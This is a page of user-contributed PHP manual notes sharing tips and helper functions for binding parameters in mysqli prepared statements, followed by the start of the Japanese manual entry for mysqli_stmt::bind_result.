[Editor's note: changed BindParam::add() to accept $value by reference and thereby prevent a warning in newer versions of PHP.]
robstocki at battlesecure dot com 24-May-2012 10:22
Here is the procedural version of a select statement when wanting to use %LIKE% in the query and not an '=':
<?php
function db_connect(){
//    set $db as global for access outside function
    global $db;
    #    Use procedural methods for database connection and manipulation
//    Connect to Database
    @$db = mysqli_connect(DB_HOST, DB_USER, DB_PASSWORD, DB_NAME);

//    Check connection
    if(mysqli_connect_errno()) {
        echo '<br />Error: Could not connect to database.  Please try again later.<br />';
        exit;
    }

}

//    Connect to Database
    db_connect();

    $theRecordInTheTableIs = "%".$_POST['theRecordInTheTableIs']."%";    //    concat $_POST variable with % on each side for use in prepared statement
    $theRelatedRecordLooks = "%".$_POST['theRelatedRecordLooks']."%";    //    concat $_POST variable with % on each side for use in prepared statement

//    Create Query
    $q      =     '';        //    create variable for input
    $q     .=     " SELECT ";
    $q     .=     " * ";
    $q     .=     " FROM ";
    $q     .=     " myFavTable ";
    $q     .=     " WHERE ";
    $q    .=     " theRecordInTheTableIs LIKE ? ";
    $q    .=     " AND ";
    $q    .=     " theRelatedRecordLooks LIKE ? ";

//    Prepare the statement
    $stmt = mysqli_prepare($db, $q);

//    bind the paramaters
    mysqli_stmt_bind_param($stmt, 'ss', $theRecordInTheTableIs,$theRelatedRecordLooks);

//    Execute the query
    mysqli_stmt_execute($stmt);

// bind result variables
    mysqli_stmt_bind_result($stmt, $col0, $col1, $col2, $col3, $col4, $col5, $col6, $col7, $col8, $col9, $col10);

//    Display the query
//    start the table

echo '<table>
    <tr>
        <td>Col0 Title</td>
        <td>Col1 Title</td>
        <td>Col2 Title</td>
        <td>Col3 Title</td>
        <td>Col4 Title</td>
        <td>Col5 Title</td>
        <td>Col6 Title</td>
        <td>Col7 Title</td>
        <td>Col8 Title</td>
        <td>Col9 Title</td>
        <td>Col10 Title</td>
    </tr>';

// fetch values
    while (mysqli_stmt_fetch($stmt)) {
        echo "     <tr>
        <td>{$col0}</td>
        <td>{$col1}</td>
        <td>{$col2}</td>
        <td>{$col3}</td>
        <td>{$col4}</td>
        <td>{$col5}</td>
        <td>{$col6}</td>
        <td>{$col7}</td>
        <td>{$col8}</td>
        <td>{$col9}</td>
        <td>{$col10}</td>
    </tr> ";

    }

//    close the table
    echo '</table>';

?>
Darren 11-Jan-2012 04:00
For those learning mysqli::prepare and mysqli_stmt::bind_params for the first time, here is a commented block of code which executes prepared queries and returns data in a similar format to the return values of mysqli_query.  I tried to minimize unnecessary classes, objects, or overhead for two reasons:
1) facilitate learning
2) allow relativity interchangeable use with mysqli_query

My goal is to lower the learning curve for whoever is starting out with these family of functions.  I am by no means an expert coder/scripter, so I am sure there are improvements and perhaps a few bugs, but I hope not =)

<?php
/*
Function: mysqli_prepared_query()
  Executes prepared querys given query syntax, and bind parameters
  Returns data in array format

Arguments:
  mysqli_link
  mysqli_prepare query
  mysqli_stmt_bind_param argmuent list in the form array($typeDefinitinonString, $var1 [, mixed $... ])

Return values:
  When given SELECT, SHOW, DESCRIBE or EXPLAIN statements: returns table data in the form resultArray[row number][associated field name]
  Returns number of rows affacted when given other queries
  Returns FALSE on error
*/
function mysqli_prepared_query($link,$sql,$bindParams = FALSE){
  if($stmt = mysqli_prepare($link,$sql)){
    if ($bindParams){
      $bindParamsMethod = new ReflectionMethod('mysqli_stmt', 'bind_param');  //allows for call to mysqli_stmt->bind_param using variable argument list
      $bindParamsReferences = array();  //will act as arguments list for mysqli_stmt->bind_param

      $typeDefinitionString = array_shift($bindParams);
      foreach($bindParams as $key => $value){
        $bindParamsReferences[$key] = &$bindParams[$key];
      }

      array_unshift($bindParamsReferences,$typeDefinitionString); //returns typeDefinition as the first element of the string
      $bindParamsMethod->invokeArgs($stmt,$bindParamsReferences); //calls mysqli_stmt->bind_param suing $bindParamsRereferences as the argument list
    }
    if(mysqli_stmt_execute($stmt)){
      $resultMetaData = mysqli_stmt_result_metadata($stmt);
      if($resultMetaData){
        $stmtRow = array(); //this will be a result row returned from mysqli_stmt_fetch($stmt)
        $rowReferences = array();  //this will reference $stmtRow and be passed to mysqli_bind_results
        while ($field = mysqli_fetch_field($resultMetaData)) {
          $rowReferences[] = &$stmtRow[$field->name];
        }
        mysqli_free_result($resultMetaData);
        $bindResultMethod = new ReflectionMethod('mysqli_stmt', 'bind_result');
        $bindResultMethod->invokeArgs($stmt, $rowReferences); //calls mysqli_stmt_bind_result($stmt,[$rowReferences]) using object-oriented style
        $result = array();
        while(mysqli_stmt_fetch($stmt)){
          foreach($stmtRow as $key => $value){  //variables must be assigned by value, so $result[] = $stmtRow does not work (not really sure why, something with referencing in $stmtRow)
            $row[$key] = $value;
          }
          $result[] = $row;
        }
        mysqli_stmt_free_result($stmt);
      } else {
        $result = mysqli_stmt_affected_rows($stmt);
      }
      mysqli_stmt_close($stmt);
    } else {
      $result = FALSE;
    }
  } else {
    $result = FALSE;
  }
  return $result;
}

?>

Here's hoping the PHP gods don't smite me.
samishiikihaku23 at gmail dot com 30-Dec-2011 03:50
NOTES to new users! Or programmers like myself who learn the hard way!!!
Pay attention to the variables that are given in the function up above. ( string $types , mixed &$var1 [, mixed &$... ] ) . The example shows this too, but I personally didn't get it 'til trying to debug my code.

ITS REQUIRED TO PASS VARIABLES HERE. You can not pass straight data through here.

$stmt->bind('s','Something here'); Will error!!!

Just a clarification as to avoid another night like mine last night and this morning.
Ole Clausen 06-Nov-2011 11:50
A lot of newcommers to mysqli find it hard to get started. I have written this wrapper with object based response, that handles most of my queries. I hope it'll be usefull for others as well:

<?php
define('DB_HOST', 'localhost');
define('DB_USERNAME', '');
define('DB_PASSWORD', '');
define('DB_DEFAULT_DB', 'test');

function iQuery($sql, $arrParams, $arrBindNames=false) {
    $result = new stdClass();
    $mysqli = @new mysqli(DB_HOST, DB_USERNAME, DB_PASSWORD, DB_DEFAULT_DB);
    if (mysqli_connect_errno()) {
        $result->error = 'Connection failed: '.mysqli_connect_error();
        return $result;
    }
    if ($stmt = $mysqli->prepare($sql)) {
        $method = new ReflectionMethod('mysqli_stmt', 'bind_param');
        $method->invokeArgs($stmt, $arrParams);
        $stmt->execute();
        $meta = $stmt->result_metadata();
        if (!$meta) {
            $result->affected_rows = $stmt->affected_rows;
            $result->insert_id = $stmt->insert_id;
        } else {
            $stmt->store_result();
            $params = array();
            $row = array();
            if ($arrBindNames) {
                for ($i=0,$j=count($arrBindNames); $i<$j; $i++) {
                    $params[$i] = &$row[$arrBindNames[$i]];
                }
            } else {
                while ($field = $meta->fetch_field()) {
                    $params[] = &$row[$field->name];
                }
            }
            $meta->close();
            $method = new ReflectionMethod('mysqli_stmt', 'bind_result');
            $method->invokeArgs($stmt, $params);
            $result->rows = array();
            while ($stmt->fetch()) {
                $obj = new stdClass();
                foreach($row as $key => $val) {
                    $obj->{$key} = $val;
                }
                $result->rows[] = $obj;
            }
            $stmt->free_result();
        }
        $stmt->close();
    }
    $mysqli->close();
    return $result;
}

$arrParams = array('ss', $_POST['sex'], $_POST['active']);
$result = iQuery( 'SELECT * FROM `test_table` WHERE `sex`=? AND `active`=?', $arrParams);

print_r($result);
print $result->rows[1]->first_name . " " . $result->rows[1]->last_name;
?>

If $_POST['sex'] contains 'male' and $_POST['active'] contains 'yes' - and the field names are 'id', 'first_name', 'last_name', 'sex' and 'active', the printet result may look like this:

----------------------------------------------
stdClass Object
(
    [rows] => Array
        (
            [0] => stdClass Object
                (
                    [id] => 2
                    [first_name] => Peter
                    [last_name] => Johnson
                    [sex] => male
                    [active] => yes
                )

            [1] => stdClass Object
                (
                    [id] => 5
                    [first_name] => Ole
                    [last_name] => Clausen
                    [sex] => male
                    [active] => yes
                )

        )

)
Ole Clausen
----------------------------------------------

You can also apply special field names to the response, if you use the parameter $arrBindNames:

$arrParams = array('ss', $_POST['sex'], $_POST['active']);
$arrNames = array('foo_id', 'bar_first', 'baz_last', 'foo_sex', 'bar_act');
$result = iQuery( 'SELECT * FROM `test_table` WHERE `sex`=? AND `active`=?', $arrParams, $arrNames);

- a row would then look like this:

    [0] => stdClass Object
        (
            [foo_id] => 2
            [bar_first] => Peter
            [baz_last] => Johnson
            [foo_sex] => male
            [bar_act] => yes
        )

The first argument 'ss' in $arrParams states, that the two following arguments are of type String. The options are 's' for String, 'i' for Integer, 'd' for Double and 'b' for Blob (sent in packages).

In queries, that do not return a result INSERT, UPDATE, etc. $result->affected_rows and $result->insert_id are available. Connection errors are available in $result->error. Additional error handling would be nice, but is not implemented for now. Play with the wrapper and use print_r on the result ... enjoy!

The name 'iQuery'? Well, it handles mysql*i* - and then I guess it's kind of a tribute to Mr. Jobs ... may he 'rest' in energetic, hungry foolishness  =)

==
UPDATE: 08-NOV-2011 07:19

Due to changes in PHP 5.3 I encountered a problem with 'bind_param' in my iQuery function below. The values in the passed array *must* be references. The soloution is this function:

<?php
function getRefArray($a) {
    if (strnatcmp(phpversion(),'5.3')>=0) {
        $ret = array();
        foreach($a as $key => $val) {
            $ret[$key] = &$a[$key];
        }
        return $ret;
    }
    return $a;
}
?>

- and this change in iQuery:

        if ($stmt = $mysqli->prepare($sql)) {
            $arrParams = getRefArray($arrParams); // <-- Added due to changes since PHP 5.3
            $method = new ReflectionMethod('mysqli_stmt', 'bind_param');
            $method->invokeArgs($stmt, $arrParams);
            $stmt->execute();
            $meta = $stmt->result_metadata();
alex dot deleyn at gmail dot com 16-Jul-2011 06:50
MySQL has a "NULL-safe equal" operator (I'm guessing since 5.0)
http://dev.mysql.com/doc/refman/5.0/en/comparison-operators.html#operator_equal-to

If you use this operator instead of the usual = you can interchange values and null in where clauses.

There is however a known bug when using this operator with datetime or timestamp fields: http://bugs.mysql.com/bug.php?id=36100
jk at jankriedner dot de 20-May-2011 02:39
There are some things to note when working with mysqli::bind_param() and array-elements.
Re-assigning an array will break any references, no matter if the keys are identical.
You have to explicitly reassign every single value in an array, for the references to be kept.
Best shown in an example:
<?php
function getData() {
    return array(
        0=>array(
            "name"=>"test_0",
            "email"=>"test_0@example.com"
        ),
        1=>array(
            "name"=>"test_1",
            "email"=>"test_1@example.com"
        )
    );
}
$db  = new mysqli("localhost","root","","tests");
$sql = "INSERT INTO `user` SET `name`=?,`email`=?";
$res = $db->prepare($sql);
// If you bind array-elements to a prepared statement, the array has to be declared first with the used keys:
$arr = array("name"=>"","email"=>"");
$res->bind_param("ss",$arr['name'],$arr['email']);
//So far the introduction...

/*
    Example 1 (wont work as expected, creates two empty entries)
    Re-assigning the array in the while()-head generates a new array, whereas references from bind_param stick to the old array
*/
foreach( getData() as $arr ) {
    $res->execute();
}

/*
    Example 2 (will work as expected)
    Re-assigning every single value explicitly keeps the references alive
*/
foreach( getData() as $tempArr ) {
    foreach($tempArr as $k=>$v) {
        $arr[$k] = $v;
    }
    $res->execute();
}
?>

Coming to the problem calling mysqli::bind_param() with a dynamic number of arguments via call_user_func_array() with PHP Version 5.3+, there's another workaround besides using an extra function to build the references for the array-elements.
You can use Reflection to call mysqli::bind_param(). When using PHP 5.3+ this saves you about 20-40% Speed compared to passing the array to your own reference-builder-function.
Example:
<?php
$db     = new mysqli("localhost","root","","tests");
$res    = $db->prepare("INSERT INTO test SET foo=?,bar=?");
$refArr = array("si","hello",42);
$ref    = new ReflectionClass('mysqli_stmt');
$method = $ref->getMethod("bind_param");
$method->invokeArgs($res,$refArr);
$res->execute();
?>
asb(.d o,t )han(a t)n i h e i(d.o_t)dk 22-Apr-2011 06:05
It should be noted that MySQL has some issues regarding the use of the IN clause in prepared statements.

I.e. the code:
<?php

$idArr = "1, 2, 3, 4";
$int_one = 1;
$int_two = 2;
$int_three = 3;
$int_four = 4;

$db = new MySQLi();
$bad_stmt = $db->prepare(SELECT `idAsLetters` FROM `tbl` WHERE `id` IN(?));
$bad_stmt->bind_param("s", $idArr);
$bad_stmt->bind_result($ias);
$bad_stmt->execute();

echo "Bad results:" . PHP_EOL;
while($stmt->fetch()){
   echo $ias . PHP_EOL;
}

$good_stmt->close();

$good_stmt = $db->prepare(SELECT `idAsLetters` FROM `tbl` WHERE `id` IN(?, ?, ?, ?));
$good_stmt->bind_param("iiii", $int_one, $int_two, $int_three, $int_four);
$good_stmt->bind_result($ias);
$good_stmt->execute();

echo "God results:" . PHP_EOL;
while($stmt->fetch()){
   echo $ias . PHP_EOL;
}
$bad_stmt->close();

$db->close();
?>
will print this result:

Bad results:
one

Good results:
one
two
three
four

Using "IN(?)" in a prepared statement will return just one (the first) row from a table/view. This is not an error in PHP, but merely how MySQL handles prepared statements.
Anonymous 28-Mar-2011 01:49
You can bind to variables with NULL values, and on update and insert queries, the corresponding field will be updated to NULL no matter what bind string type you associated it with.  But, for parameters meant for the WHERE clause (ie where field = ?), the query will have no effect and produce no results.

When comparing a value against NULL, the MYSQL syntax is either "value IS NULL" or "value IS NOT NULL".  So, you can't pass in something like "WHERE (value = ?)" and expect this to work using a null value parameter.

Instead, you can do something like this in your WHERE clause:

"WHERE (IF(ISNULL(?), field1 is null, field1 = ?))"

Then, pass in the value you want to test twice:

bind_param('ss', $value1, $value1);
Anonymous 14-Mar-2011 02:28
Blob and null handling aside, a couple of notes on how param values are automatically converted and forwarded on to the Mysql engine based on your type string argument:

1) PHP will automatically convert the value behind the scenes to the underlying type corresponding to your binding type string.  i.e.:

<?php

$var = true;
bind_param('i', $var); // forwarded to Mysql as 1

?>

2) Though PHP numbers cannot be reliably cast to (int) if larger than PHP_INT_MAX, behind the scenes, the value will be converted anyway to at most long long depending on the size.  This means that keeping in mind precision limits and avoiding manually casting the variable to (int) first, you can still use the 'i' binding type for larger numbers.  i.e.:

<?php

$var = '429496729479896';
bind_param('i', $var); // forwarded to Mysql as 429496729479900

?>

3) You can default to 's' for most parameter arguments in most cases.  The value will then be automatically cast to string on the back-end before being passed to the Mysql engine.  Mysql will then perform its own conversions with values it receives from PHP on execute.  This allows you to bind not only to larger numbers without concern for precision, but also to objects as long as that object has a '__toString' method.

This auto-string casting behavior greatly improves things like datetime handling.  For example: if you extended DateTime class to add a __toString method which outputs the datetime format expected by Mysql, you can just bind to that DateTime_Extended object using type 's'.  i.e.:

<?php

// DateTime_Extended has __toString defined to return the Mysql formatted datetime
$var = new DateTime_Extended;
bind_param('s', $var); // forwarded to Mysql as '2011-03-14 17:00:01'

?>
user at mail dot com 25-Jan-2011 12:44
I had a problem with the LIKE operator

This code did not work:

<?php
$test = $sql->prepare("SELECT name FROM names WHERE name LIKE %?%");
$test->bind_param("s", $myname);
?>

The solution is:

<?php
$test = $sql->prepare("SELECT name FROM names WHERE name LIKE ?");
$param = "%" . $myname . "%";
$test->bind_param("s", $param);
?>
canche_x at yahoo dot com 12-Nov-2010 04:43
Hi, I just write a function to do all my sql statements based on all the others comments in this page, maybe it can be useful for someone else :)

Usage:

execSQL($sql, $parameters, $close);

$sql = Statement to execute;
$parameters = array of type and values of the parameters (if any)
$close = true to close $stmt (in inserts) false to return an array with the values;

Examples:

execSQL("SELECT * FROM table WHERE id = ?", array('i', $id), false);

execSQL("SELECT * FROM table", array(), false);

execSQL("INSERT INTO table(id, name) VALUES (?,?)", array('ss', $id, $name), true);

<?php

function execSQL($sql, $params, $close){
           $mysqli = new mysqli("localhost", "user", "pass", "db");

           $stmt = $mysqli->prepare($sql) or die ("Failed to prepared the statement!");

           call_user_func_array(array($stmt, 'bind_param'), refValues($params));

           $stmt->execute();

           if($close){
               $result = $mysqli->affected_rows;
           } else {
               $meta = $stmt->result_metadata();

               while ( $field = $meta->fetch_field() ) {
                   $parameters[] = &$row[$field->name];
               }

            call_user_func_array(array($stmt, 'bind_result'), refValues($parameters));

            while ( $stmt->fetch() ) {
               $x = array();
               foreach( $row as $key => $val ) {
                  $x[$key] = $val;
               }
               $results[] = $x;
            }

            $result = $results;
           }

           $stmt->close();
           $mysqli->close();

           return  $result;
   }

    function refValues($arr){
        if (strnatcmp(phpversion(),'5.3') >= 0) //Reference is required for PHP 5.3+
        {
            $refs = array();
            foreach($arr as $key => $value)
                $refs[$key] = &$arr[$key];
            return $refs;
        }
        return $arr;
    }
?>

Regards
erik at gravyllc dot com 21-Sep-2010 09:05
WOW! Thanks for the code that fixed the issue with mysqli_stmt_bind_param and PHP 5.3+. Worth sharing again for people getting the error message that a reference was expected and a value was provided. Here's a snippet and the whole function that fixed it!

//Use it like this
call_user_func_array('mysqli_stmt_bind_param', array_merge (array($sql_stmt, $type), $this->refValues($param)));

function refValues($arr)
{
    if (strnatcmp(phpversion(),'5.3') >= 0) //Reference is required for PHP 5.3+
    {
        $refs = array();
        foreach($arr as $key => $value)
            $refs[$key] = &$arr[$key];
         return $refs;
     }
     return $arr;
}
Mark Reddin 08-Sep-2010 03:30
Miguel Hatrick's Statement_Parameter class, as posted in these notes, allows for a relatively painless way of writing secure dynamic SQL.  It is secure against SQL injection because we still use bind parameters for any content coming from the user.

For example, the following code constructs an insert statement, but looks at which query string (GET) parameters are present in order to figure out which columns should be included.  The ParameterManager.php file is simply Miguel's classes as posted in this discussion.

<?php
require_once("dbConnectionParams.php");
require_once("ParameterManager.php");

$sp = new Statement_Parameter();

$column_list = "";

$value_list = "";

if (isset ($_GET['name']) ) {
    $column_list = $column_list . "name,";
    $value_list = $value_list . "?,";
    $sp->Add_Parameter('name', Statement_Parameter_Type::$STATEMENT_TYPE_STRING);
    $sp->Set_Parameter('name',$_GET['name']);
}

if (isset($_GET['address']) ) {
    $column_list = $column_list . "address,";
    $value_list = $value_list . "?,";
    $sp->Add_Parameter('address', Statement_Parameter_Type::$STATEMENT_TYPE_STRING);
    $sp->Set_Parameter('address',$_GET['address']);
}

//tidy up column list and value list - the code above will always leave them ending in a comma, which we remove now
$column_list = substr($column_list, 0, strlen($column_list) -1);
$value_list = substr($value_list, 0, strlen($value_list) -1);

$sql = "insert into test_table (" . $column_list . ") values (" . $value_list . ");";

echo $sql;

$mysqli = @new mysqli($host,$user,$password,$database);
$stmt = $mysqli->prepare($sql);

$sp->Bind_Params($stmt);

if($stmt->execute() === TRUE)
{
    /*** assign the last insert id ***/
    $last_id = $mysqli->insert_id;
    echo "OK$last_id";
}
else {
    echo $mysqli->error;
}

?>
eisoft 18-Mar-2010 03:42
I did a prepared statement for inserting in a simple table - images ( blob ) and their unique identifiers ( string ). All my blobs have smaller sizes than the MAX-ALLOWED-PACKET value.

I've found that when binding my BLOB parameter, I need to pass it as a STRING, otherwise it's truncated to zero length in my table. So I have to do this:

<?php
   $ok = $stmt->bind_param( 'ss', $id, $im ) ;
?>
fabio at kidopi dot com dot br 15-Mar-2010 09:14
I used to have problems with call_user_func_array and bind_param after migrating to php 5.3.

The problem is that 5.3 requires array values as reference while 5.2 works with real values.

so i created a secondary function to help me with this...

<?php
function refValues($arr){
    if (strnatcmp(phpversion(),'5.3') >= 0) //Reference is required for PHP 5.3+
    {
        $refs = array();
        foreach($arr as $key => $value)
            $refs[$key] = &$arr[$key];
        return $refs;
    }
    return $arr;
}
?>

and changed my previous function from:

<?php
call_user_func_array(array($this->stmt, "bind_param"),$this->valores);
?>

to:

<?php
call_user_func_array(array($this->stmt, "bind_param"),refValues($this->valores));
?>

in this way my db functions keep working in php 5.2/5.3 servers.

I hope this help someone.
rejohns at nOsPaMpost dot harvard dot edu 10-Feb-2010 08:24
You can, in fact, use mysqli_bind_parameter to pass a NULL value to the database. simply create a variable and store the NULL value (see the manpage for it) to the variable and bind that. Works great for me anyway.
Miguel Hatrick 17-Jul-2009 08:14
This might be helpful for someone. I made a class to manage the parameters

Its used like this:

<?php
$stmt = $mysqli->prepare("CALL item_add(?, ?, ?, ?)");

$sp = new Statement_Parameter();

$sp->Add_Parameter('mydescription', Statement_Parameter_Type::$STATEMENT_TYPE_STRING);
$sp->Add_Parameter('myean',            Statement_Parameter_Type::$STATEMENT_TYPE_STRING);
$sp->Add_Parameter('myprice',        Statement_Parameter_Type::$STATEMENT_TYPE_DOUBLE);
$sp->Add_Parameter('myactive',        Statement_Parameter_Type::$STATEMENT_TYPE_INTEGER);

// call this to bind the parameters
$sp->Bind_Params($stmt);

//you can then modify the values as you wish
$sp->Set_Parameter('myactive',0);
$sp->Set_Parameter('mydescription','whatever');

/* execute prepared statement */
$stmt->execute();

class Statement_Parameter
{
    private $_array = array();

    public function __constructor()
    {
    }

    public function Add_Parameter($name, $type, $value = NULL)
    {
        $this->_array[$name] = array("type" => $type, "value" => $value);
    }

    public function Get_Type_String()
    {
        $types = "";

        foreach($this->_array as $name => $la)
            $types .= $la['type'];

        return $types;
    }

    public function Set_Parameter($name, $value)
    {
        if (isset($this->_array[$name]))
        {
            $this->_array[$name]["value"] = $value;
            return true;
        }
        return false;
    }

    public function Bind_Params(&$stmt)
    {
        $ar = Array();

        $ar[] = $this->Get_Type_String();

        foreach($this->_array as $name => $la)
            $ar[] = &$this->_array[$name]['value'];

        return call_user_func_array(array($stmt, 'bind_param'),$ar);
    }
}

class Statement_Parameter_Type
{
    public static $STATEMENT_TYPE_INTEGER = 'i';
    public static $STATEMENT_TYPE_DOUBLE =     'd';
    public static $STATEMENT_TYPE_STRING =     's';
    public static $STATEMENT_TYPE_BLOB =     'b';
}
?>
Kai Sellgren 12-Mar-2009 03:26
A few notes on this function.

If you specify type "i" (integer), the maximum value it allows you to have is 2^32-1 or 2147483647. So, if you are using UNSIGNED INTEGER or BIGINT in your database, then you are better off using "s" (string) for this.

Here's a quick summary:
(UN)SIGNED TINYINT: I
(UN)SIGNED SMALLINT: I
(UN)SIGNED MEDIUMINT: I
SIGNED INT: I
UNSIGNED INT: S
(UN)SIGNED BIGINT: S

(VAR)CHAR, (TINY/SMALL/MEDIUM/BIG)TEXT/BLOB should all have S.

FLOAT/REAL/DOUBLE (PRECISION) should all be D.

That advice was for MySQL. I have not looked into other database software.
tasdildiren at gmail dot com 25-Feb-2009 02:29
<?php
/* just explaining how to call mysqli_stmt_bind_param with a parameter array */

$sql_link = mysqli_connect('localhost', 'my_user', 'my_password', 'world');
$type = "isssi";
$param = array("5", "File Description", "File Title", "Original Name", time());
$sql = "INSERT INTO file_detail (file_id, file_description, file_title, file_original_name, file_upload_date) VALUES (?, ?, ?, ?, ?)";
$sql_stmt = mysqli_prepare ($sql_link, $sql);
call_user_func_array('mysqli_stmt_bind_param', array_merge (array($sql_stmt, $type), $param);
mysqli_stmt_execute($sql_stmt);
?>
Mahees 21-Feb-2009 10:34
///////////////////////////////

Im sure many of you may want to use this functionality.

spent about 3hours writing this, so maybe i can save somone else some time, you can break it up into smaller functions for reuse as you wish.

the mysqli stmt bind param (mysqli_stmt_bind_param) function only takes one variable at a time, so its difficult to pass in a few variables to fill in the placeholder space.

this allows mysqli prepared statements with variable arguments, one sql template with multiple placeholders to be prepared and excuted.

hope this helps somone,
Mahees.

///////////////////////////////

<?php
$uname = 'mahees';
$pass = 'mahees';

$userPassArr = DataAccess::fetch('SELECT * FROM users WHERE username = ? AND password = ?', $uname, $pass);
print_r($userPassArr);

/*
Array
(
    [0] => Array
        (
            [id] => 1
            [username] => mahees
            [password] => mahees
        )

)
*/

$userPassArr = DataAccess::fetch('SELECT * FROM users');
print_r($userPassArr);

/*
Array
(
    [0] => Array
        (
            [id] => 1
            [username] => mahees
            [password] => mahees
        )

    [1] => Array
        (
            [id] => 4
            [username] => foo
            [password] => bar
        )

    [2] => Array
        (
            [id] => 5
            [username] => bar
            [password] => baz
        )

)
*/

//********* function in DataAccess class *********
//im sure this can be written better with more checks...but principle stands

    static function fetch() {
        $args = func_get_args();
        $sql = array_shift($args);
        $link = self::establish_db_conn();
        if (!$stmt = mysqli_prepare($link, $sql)) {
            self::close_db_conn();
            die('Please check your sql statement : unable to prepare');
        }
        $types = str_repeat('s', count($args));
        array_unshift($args, $types);
        array_unshift($args, $stmt);
        call_user_func_array('mysqli_stmt_bind_param', $args);

        mysqli_stmt_execute($stmt);

        $result = mysqli_stmt_result_metadata($stmt);
        $fields = array();
        while ($field = mysqli_fetch_field($result)) {
            $name = $field->name;
            $fields[$name] = &$$name;
        }
        array_unshift($fields, $stmt);
        call_user_func_array('mysqli_stmt_bind_result', $fields);

        array_shift($fields);
        $results = array();
        while (mysqli_stmt_fetch($stmt)) {
            $temp = array();
            foreach($fields as $key => $val) { $temp[$key] = $val; }
            array_push($results, $temp);
        }

        mysqli_free_result($result);
        mysqli_stmt_close($stmt);
        self::close_db_conn();

        return $results;
    }
?>
mark at x2software dot net 07-Sep-2008 02:26
I wanted to pass the parameters for several queries to a single function to fill them (insert / update having the same fields for example), while at the same time making the types array a bit easier to maintain when you've got a lot of parameters. Here's a simple solution I came up with:

<?php
function bindParameters(&$statement, &$params)
{
  $args   = array();
  $args[] = implode('', array_values($params));

  foreach ($params as $paramName => $paramType)
  {
    $args[] = &$params[$paramName];
    $params[$paramName] = null;
  }

  call_user_func_array(array(&$statement, 'bind_param'), $args);
}

// Usage:
$statement = $database->prepare('INSERT INTO test (value1, value2) VALUES (?, ?)');
$params    = array('param1' => 's',
                   'param2' => 'i');

bindParameters($statement, $params);

$params['param1'] = 'parameter test';
$params['param2'] = 42;

$statement->execute();
?>

Note that the types will be overwritten after a call to bindParameters to provide a sensible default (otherwise it will be used as the parameter value when you execute the statement), so you need to reinitialize the types if you want to bind it to another statement.
jette at nerdgirl dot dk 17-Jul-2008 01:46
I already have a database class that makes everything nice and easy. But when it came to preparing, binding and executing, I found it was a real challenge to boil things down.

But luckily I stumbled over a bug-report with a workaround, that pointed me in the right direction.: http://bugs.php.net/bug.php?id=43568

I now execute stored procedures (aka routines) like this:

<?php
$db = new myDb();
$db->execProcedure('call someProc(?,?)','ss',array('param1','param2'));
?>

And this is the code to make it happen:
(I extracted this example from a bigger context, but you probably get the idea)

<?php
class myDb extends mysqli {

  public function  __construct() {
    //Connection established here
  }

  public function execProcedure($call,$types,$params) {
    $stmt = $this->prepare($call);
    $bind_names[] = $types;
    for ($i=0; $i<count($params);$i++) {
      $bind_name = 'bind' . $i;
      $$bind_name = $params[$i];
      $bind_names[] = &$$bind_name;
    }
    $return = call_user_func_array(array($stmt,'bind_param'),$bind_names);
    $stmt->execute();
    $stmt->close();
  }
}
michael dot martinek at gmail dot com 30-Dec-2007 05:00
Small correction. This version removes the NULL element from the array, so it doesn't fall on to the next ? when passed to mysql_stmt_bind_param(). Note that $saParams is still passed by reference, but now it is being modified.

<?php

function preparse_prepared($sQuery, &$saParams)
{
    $nPos = 0;

    $sRetval = $sQuery;
    foreach ($saParams as $x_Key => $Param)
    {
        //if we find no more ?'s we're done then
        if (($nPos = strpos($sQuery, '?', $nPos + 1)) === false)
        {
            break;
        }

        //this test must be done second, because we need to increment offsets of $nPos for each ?.
        //we have no need to parse anything that isn't NULL.
        if (!is_null($Param))
        {
            continue;
        }

        //null value, replace this ? with NULL.
        $sRetval = substr_replace($sRetval, 'NULL', $nPos, 1);

        //unset this element now
        unset($saParams[$x_Key]);
    }

    return $sRetval;
}

?>
michael dot martinek at gmail dot com 30-Dec-2007 04:52
I've found that you can't pass NULL values in using mysql_stmt_bind_param. Recently I ran into this problem because I wrote some MySQL routines that would update existing data, but only when the value wasn't NULL.

My solution to work around this is simple:

<?php

function preparse_prepared($sQuery, &$saParams)
{
    $nPos = 0;

    $sRetval = $sQuery;
    foreach ($saParams as $Param)
    {
        //if we find no more ?'s we're done then
        if (($nPos = strpos($sQuery, '?', $nPos + 1)) === false)
        {
            break;
        }

        //this test must be done second, because we need to increment offsets of $nPos for each ?.
        //we have no need to parse anything that isn't NULL.
        if (!is_null($Param))
        {
            continue;
        }

        //null value, replace this ? with NULL.
        $sRetval = substr_replace($sRetval, 'NULL', $nPos, 1);
    }

    return $sRetval;
}

?>

This will iterate the given list of parameters and replace any null values in the query with an actual null value. You'll want to use the resulting $sQuery to pass to mysqli_prepare(). For that, I use another routine that generates a list of the values (s, i, etc).

For example:

<?php

                    array_unshift($saParams, $this->getPreparedTypeString($saParams));
                    array_unshift($saParams, $stmt);

                    call_user_func_array('mysqli_stmt_bind_param', $saParams);

?>

Where getPreparedTypeString is defined as:

<?php

        public static function getPreparedTypeString(&$saParams)
        {
            $sRetval = '';

            //if not an array, or empty.. return empty string
            if (!is_array($saParams) || !count($saParams))
            {
                return $sRetval;
            }

            //iterate the elements and figure out what they are, and append to result
            foreach ($saParams as $Param)
            {
                if (is_int($Param))
                {
                    $sRetval .= 'i';
                }
                else if (is_double($Param))
                {
                    $sRetval .= 'd';
                }
                else if (is_string($Param))
                {
                    $sRetval .= 's';
                }
            }

            return $sRetval;
        }

?>

To clarify why I pass array values by reference: They aren't being modified, so I don't want copies of them begin made in memory as they may be large. In other languages, this is much more efficient. Not sure if PHP handles passing values on a "copy on edit" basis.. but I'm guessing not.
Anonymous 15-Dec-2007 10:24
It's worth noting that you have to bind all parameters in one fell swoop - you can't go through and call bind_param once for each.
flame 18-Feb-2007 08:44
Columns with type bigint need to be specified as type 'd' NOT 'i'.

Using 'i' results in large numbers (eg 3000169151) being truncated.

--
flame


結果を保存するため、プリペアドステートメントに変数をバインドする

  • ≪ mysqli_stmt::bind_param
  • mysqli_stmt::close ≫
  • PHP Manual
  • mysqli_stmt
  • 結果を保存するため、プリペアドステートメントに変数をバインドする

mysqli_stmt::bind_result

mysqli_stmt_bind_result

(PHP 5, PHP 7)

mysqli_stmt::bind_result -- mysqli_stmt_bind_result — 結果を保存するため、プリペアドステートメントに変数をバインドする

説明

オブジェクト指向型

public mysqli_stmt::bind_result ( mixed &$var , mixed &...$vars ) : bool

手続き型

mysqli_stmt_bind_result ( mysqli_stmt $stmt , mixed &$var , mixed &...$vars ) : bool

結果セットのカラムを変数にバインドします。

データを取得するために mysqli_stmt_fetch() がコールされた場合、MySQL クライアント/ サーバー プロトコルはバインドされたカラムのデータを var/vars に格納します。

注意:

